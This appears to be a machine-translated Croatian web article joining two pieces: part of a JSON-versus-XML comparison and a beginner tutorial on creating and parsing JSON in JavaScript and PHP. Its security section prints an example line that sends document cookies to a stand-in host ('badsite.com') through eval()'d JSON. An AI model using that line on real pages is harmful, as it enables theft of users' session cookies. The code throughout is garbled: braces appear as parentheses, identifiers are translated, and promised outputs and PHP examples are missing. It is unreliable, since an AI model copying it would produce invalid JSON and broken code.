          Kada se podaci deklariraju putem eval(), preglednik će također pozvati alert() izraz. U ovom slučaju možete učitavati podatke i izvršavati funkcije. Ovaj pristup treba koristiti s velikim oprezom jer zatrpava odgovor pozivima funkcija i stvara vezu između poziva i podataka. Neki izvori također govore o potencijalnim sigurnosnim propustima ovog pristupa, o kojima se detaljnije govori u nastavku.

          Otklanjanje pogrešaka i ispravljanje pogrešaka

          Ovaj se aspekt odnosi i na poslužiteljsku stranu vaše aplikacije i na klijentsku stranu. Na poslužitelju morate paziti da su podaci pravilno oblikovani i točni. Na strani klijenta trebalo bi biti lako otkloniti pogreške u odgovoru.

          Uz XML je relativno lako provjeriti jesu li podaci poslani klijentu dobro oblikovani i točni. Možete koristiti shemu za svoje podatke i primijeniti je za provjeru valjanosti podataka. Uz JSON, ovaj zadatak postaje ručni i zahtijeva provjeru ima li rezultirajući objekt ispravne atribute.

          Na strani klijenta, u oba je slučaja teško otkriti pogreške. Za XML, preglednik ga jednostavno neće moći pretvoriti u responseXML. Za male količine JSON podataka možete koristiti proširenje FireBug za otklanjanje pogrešaka i ispravljanje pogrešaka. Ali s velikim količinama podataka, postaje donekle teško povezati poruku o pogrešci s određenim mjestom u kodu.

          Sigurnost

          Dave Johnson, u svom postu JSON and the Golden Fleece, sugerira da JSON može uzrokovati sigurnosne probleme. Bit je napomene da ako dopustite da se pozivi funkcija umetnu zajedno s podacima u JSON odgovore i koristite eval() za obradu odgovora, tada izvršavate proizvoljni kod, koji zapravo već može sadržavati sigurnosni rizik.

          Window.location = "http://badsite.com?" + dokument.kolačić; osoba: ( "ime" : "Subbu", "prezime" : "Allamaraju" )

          Ako se odgovor iz gornjeg primjera izvrši, to će uzrokovati slanje korisničkih kolačića od preglednika na web mjesto treće strane. Ali u ovom slučaju postoji određena zabuna u definiciji sigurnosne prijetnje. Ne biste trebali vjerovati podacima ili kodu dobivenim iz neprovjerenog izvora. I drugo, nećemo moći koristiti XMLHttpRequest za komunikaciju s drugim domenama osim izvorne domene skripte. Dakle, samo sami programeri, prilikom izrade aplikacije, mogu inicirati slanje kolačića na stranicu treće strane. To je prilično dvojbeno, jer bi mogli jednako lako postaviti ovaj maliciozni kod bilo gdje u dokumentu izvan odgovora podataka poslanog s poslužitelja. Možda nešto propuštam, ali ne vidim svrhu smatrati JSON nesigurnim u usporedbi s XML-om.

          Moj izbor

          Za aplikacije usmjerene na informacije radije bih koristio JSON umjesto XML-a zbog njegove jednostavnosti i lakoće obrade podataka na strani klijenta. XML je možda nezamjenjiv na poslužitelju, ali JSON je definitivno lakši za rad na klijentu.

          Sigurno ste ikada čuli za JSON. Što je? Što može i kako ga koristiti?

          U ovom vodiču ćemo pokriti osnove JSON-a i pokriti sljedeće točke:

          • Što je JSON?
          • Za što se koristi JSON?
          • Kako stvoriti JSON niz?
          • Jednostavan primjer JSON niza.
          • Usporedimo JSON i XML.
          • Kako raditi s JSON-om u JavaScriptu i PHP-u?
          Što je JSON?

          JSON je jednostavan način temeljen na tekstu za pohranu i prijenos strukturiranih podataka. Pomoću jednostavne sintakse možete lako pohraniti bilo što, od jednog broja do nizova, nizova i objekata u običnom tekstu. Također možete povezati nizove i objekte kako biste stvorili složene podatkovne strukture.

          Nakon što se JSON niz stvori, lako ga je poslati u drugu aplikaciju ili na drugo mjesto na mreži jer je običan tekst.

          JSON ima sljedeće prednosti:

          • Kompaktan je.
          • Njegove rečenice lako se čitaju i sastavljaju i ljudi i računala.
          • Može se lako pretvoriti u podatkovnu strukturu za većinu programskih jezika (brojevi, nizovi, booleovi, nizovi, itd.)
          • Mnogi programski jezici imaju funkcije i biblioteke za čitanje i stvaranje JSON struktura.

          Naziv JSON je kratica za JavaScript Object Notation. Kao što naziv sugerira, temelji se na načinu definiranja objekata (poput stvaranja asocijativnih nizova u drugim jezicima) i nizova.

          Za što se koristi JSON?

          Najčešća uobičajena upotreba JSON-a je slanje podataka s poslužitelja na preglednik. Obično se JSON podaci isporučuju pomoću AJAX-a, koji pregledniku i poslužitelju omogućuje komunikaciju bez ponovnog učitavanja stranice.

        • Korisnik klikne na sličicu proizvoda u online trgovini.
        • JavaScript koji radi na pregledniku generira AJAX zahtjev PHP skripti koja se izvodi na poslužitelju, prosljeđujući ID odabranog proizvoda.
        • PHP skripta dobiva naziv proizvoda, opis, cijenu i druge informacije iz baze podataka. Zatim sastavlja JSON niz od podataka i šalje ga pregledniku.
        • JavaScript koji radi u pregledniku prima JSON niz, dekodira ga i prikazuje informacije o proizvodu na stranici za korisnika.
        • Također možete koristiti JSON za slanje podataka iz preglednika na poslužitelj prosljeđivanjem JSON niza kao parametra GET ili POST zahtjevima. Ali ova metoda je manje uobičajena, budući da se prijenos podataka putem AJAX zahtjeva može pojednostaviti. Na primjer, ID proizvoda može biti uključen u URL kao dio GET zahtjeva.

          Knjižnica jQuery ima nekoliko metoda, kao što su getJSON() i parseJSON(), koje olakšavaju dohvaćanje podataka pomoću JSON-a putem AJAX zahtjeva.

          Kako stvoriti JSON niz?

          Postoji nekoliko osnovnih pravila za stvaranje JSON niza:

          • JSON niz sadrži ili niz vrijednosti ili objekt (asocijativni niz parova ime/vrijednost).
          • Niz nalazi se u uglatim zagradama ([ i ]) i sadrži popis vrijednosti odvojenih zarezima.
          • Objekt nalazi se u vitičastim zagradama (( i )) i sadrži zarezima odvojen popis parova ime/vrijednost.
          • par ime/vrijednost sastoji se od naziva polja u dvostrukim navodnicima, nakon čega slijedi dvotočka (:) i vrijednost polja.
          • Značenje u nizu ili objektu može biti:
            • Broj (cijeli broj ili pokretni zarez)
            • String (u dvostrukim navodnicima)
            • Booleova vrijednost (točno ili netočno)
            • Drugi niz (u uglastim zagradama)
            • Drugi objekt (okružen u vitičaste zagrade)
            • nulta vrijednost

          Da biste uključili dvostruke navodnike u niz, morate upotrijebiti obrnutu kosu crtu: \" . Kao i kod mnogih programskih jezika, možete staviti kontrolne znakove i heksadecimalne kodove u niz tako da ispred njih stavite obrnutu kosu crtu. Pogledajte JSON web stranicu za detalje.

          Primjer jednostavnog JSON niza

          Ispod je primjer naručivanja u JSON formatu:

          ( "ID narudžbe": 12345, "Ime kupca": "Vanya Ivanov", "E-pošta kupca": " [e-mail zaštićen]", "contents": [ ( "productID": 34, "productName": "Super proizvod", "quantity": 1 ), ( "productID": 56, "productName": "Čudesan proizvod", "quantity": 3 ) ], "orderCompleted": true )

          Pogledajmo detaljnije liniju:

          • Objekt stvaramo pomoću vitičastih zagrada (( i )).
          • Objekt ima nekoliko parova ime/vrijednost: "orderID": 12345 Svojstvo s imenom "orderId" i vrijednošću cijelog broja 12345 "shopperName": "Vanya Ivanov" svojstvo s imenom "shopperName" i vrijednošću niza "Vanya Ivanov " "shopperEmail": " [e-mail zaštićen]" Svojstvo pod nazivom "shopperEmail" s vrijednošću niza " [e-mail zaštićen]" "contents": [ ... ] Svojstvo pod nazivom "contents" čija je vrijednost niz "orderCompleted": true Svojstvo pod nazivom "orderCompleted" i Booleova vrijednost true
          • Postoje 2 objekta u polju "sadržaj" koji predstavljaju pojedinačne stavke u narudžbi. Svaki objekt sadrži 3 svojstva: productID, productName i quantity.

          Usput, budući da se JSON temelji na deklariranju JavaScript objekata, možete brzo i jednostavno učiniti gornji JSON niz JavaScript objektom:

          var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [e-mail zaštićen]", "contents": [ ( "productID": 34, "productName": "Super proizvod", "quantity": 1 ), ( "productID": 56, "productName": "Čudesan proizvod", "quantity": 3 ) ], "orderCompleted": true );

          Usporedba JSON-a i XML-a

          Na mnogo načina, JSON možete zamisliti kao alternativu XML-u, barem u prostoru web aplikacija. Koncept AJAX-a izvorno se temeljio na korištenju XML-a za prijenos podataka između poslužitelja i preglednika. No posljednjih je godina JSON postao sve popularniji za prijenos AJAX podataka.

          Dok je XML dokazana tehnologija koja se koristi u velikom broju aplikacija, JSON ima prednost što je kompaktniji i lakše prepoznatljiv format podataka.

          Ovako bi izgledao gornji primjer objekta u XML-u:

          ID narudžbe 12345 Ime kupca Vanya Ivanov E-pošta kupca [e-mail zaštićen] sadržaj productID 34 productName Super količina proizvoda 1 productID 56 productName Miracle količina proizvoda 3 orderCompleted true

          XML verzija je znatno veća. U stvarnosti ima 1128 znakova, dok JSON verzija ima samo 323 znaka. XML verziju je također prilično teško razumjeti.

          Naravno, ovo je radikalan primjer. A moguće je stvoriti i kompaktniji XML zapis. Ali čak će i on biti znatno duži od JSON ekvivalenta.

          Rad s JSON nizom u JavaScriptu

          JSON ima jednostavan format, ali ručno stvaranje JSON niza prilično je zamorno. Osim toga, često trebate uzeti JSON niz, pretvoriti njegov sadržaj u varijablu koja se može koristiti u kodu.

          Većina programskih jezika ima alate za jednostavno pretvaranje varijabli u JSON nizove i obrnuto.

          Stvaranje JSON niza iz varijable

          JavaScript ima ugrađenu metodu JSON.stringify() koja uzima varijablu i vraća JSON niz koji predstavlja njezin sadržaj. Na primjer, stvorimo JavaScript objekt koji sadrži informacije o narudžbi iz našeg primjera, a zatim iz njega izradimo JSON niz:

          var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [e-mail zaštićen]", "contents": [ ( "productID": 34, "productName": "Super proizvod", "quantity": 1 ), ( "productID": 56, "productName": "Čudesan proizvod", "quantity": 3 ) ], "orderCompleted": true (JSON.stringify(cart));

          Ovaj kod će proizvesti:

          Imajte na umu da metoda JSON.stringify() vraća JSON niz bez razmaka. Teže ga je čitati, ali je kompaktniji za prijenos preko mreže.

          Postoji nekoliko načina za raščlanjivanje JSON niza u JavaScriptu, ali najsigurniji i najpouzdaniji je korištenje ugrađene metode JSON.parse(). Prima JSON niz i vraća JavaScript objekt ili niz koji sadrži podatke. Na primjer:

          var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [e-mail zaštićen]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "Super proizvod", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": "Čudotvorna roba", \"količina": 3\ ) \ ], \"narudžba završena": istina \ ) \"; var cart = JSON.parse(jsonString); upozorenje(cart.shopperEmail); upozorenje(cart.contents.productName);

          Stvorili smo varijablu jsonString koja sadrži JSON niz našeg primjera reda. Zatim taj niz prosljeđujemo metodi JSON.parse(), koja stvara objekt koji sadrži JSON podatke i pohranjuje ga u varijablu cart. Sve što preostaje je provjeriti prikazivanjem svojstava objekta shopperEmail i productName niza sadržaja.

          Kao rezultat, dobit ćemo sljedeći izlaz:

          U stvarnoj aplikaciji, vaš bi JavaScript kod primio narudžbu kao JSON niz u AJAX odgovoru skripte poslužitelja, proslijedio bi niz metodi JSON.parse(), a zatim koristio podatke za prikaz na stranici korisnika.

          JSON.stringify() i JSON.parse() imaju druge mogućnosti, kao što je korištenje funkcija povratnog poziva za prilagođenu konverziju određenih podataka. Takve opcije su vrlo korisne za pretvaranje različitih podataka u odgovarajuće JavaScript objekte.

          Rad s JSON nizom u PHP-u

          PHP, poput JavaScripta, ima ugrađene funkcije za rad s JSON nizovima.

          Stvaranje JSON niza iz PHP varijable

          Funkcija json_encode() uzima PHP varijablu i vraća JSON niz koji predstavlja sadržaj varijable. Evo našeg primjera narudžbe, napisanog u PHP-u:

          Ovaj kod vraća potpuno isti JSON niz kao u JavaScript primjeru:

          ("orderID":12345,"shopperName":"Vanya Ivanov","shopperEmail":" [e-mail zaštićen]","contents":[("productID":34,"productName":"Super proizvod","quantity":1),("productID":56,"productName":"Čudesan proizvod","quantity": 3)],"narudžba završena":true)

          U stvarnoj aplikaciji, vaša PHP skripta će poslati ovaj JSON niz kao dio AJAX odgovora pregledniku, gdje će ga JavaScript kôd, koristeći metodu JSON.parse(), analizirati natrag u varijablu za prikaz na stranici korisnika .

          Možete proslijediti različite oznake kao drugi argument funkciji json_encode(). Uz njihovu pomoć možete promijeniti principe kodiranja sadržaja varijabli u JSON niz.

          Stvorite varijablu iz JSON niza

          Za pretvaranje JSON niza u PHP varijablu upotrijebite metodu json_decode(). Zamijenimo naš primjer za JavaScript metodom JSON.parse() s PHP kodom:

          Kao i kod JavaScripta, ovaj kod će proizvesti:

          [e-mail zaštićen]Čudesan proizvod

          Prema zadanim postavkama funkcija json_decode() vraća JSON objekte kao PHP objekte. Postoje generički PHP objekti klase stdClass. Zato koristimo -> za pristup svojstvima objekta u gornjem primjeru.

          Ako vam je potreban JSON objekt kao pridruženo PHP polje, trebate prenijeti true kao drugi argument funkciji json_decode(). Na primjer:

          $cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
          "; echo $cart["contents"]["productName"] . "
          ";

          Ovaj kod će proizvesti isti izlaz:

          [e-mail zaštićen]Čudesan proizvod

          Također možete proslijediti druge argumente funkciji json_decode() da biste odredili dubinu rekurzije i kako rukovati velikim cijelim brojevima.

          Zaključak

          Iako je JSON jednostavan za razumijevanje i korištenje, vrlo je koristan i fleksibilan alat za prijenos podataka između aplikacija i računala, posebno kada se koristi AJAX. Ako planirate razviti AJAX aplikaciju, onda nema sumnje da će JSON postati bitan alat u vašoj radionici.



  • reci prijateljima
    Pročitajte također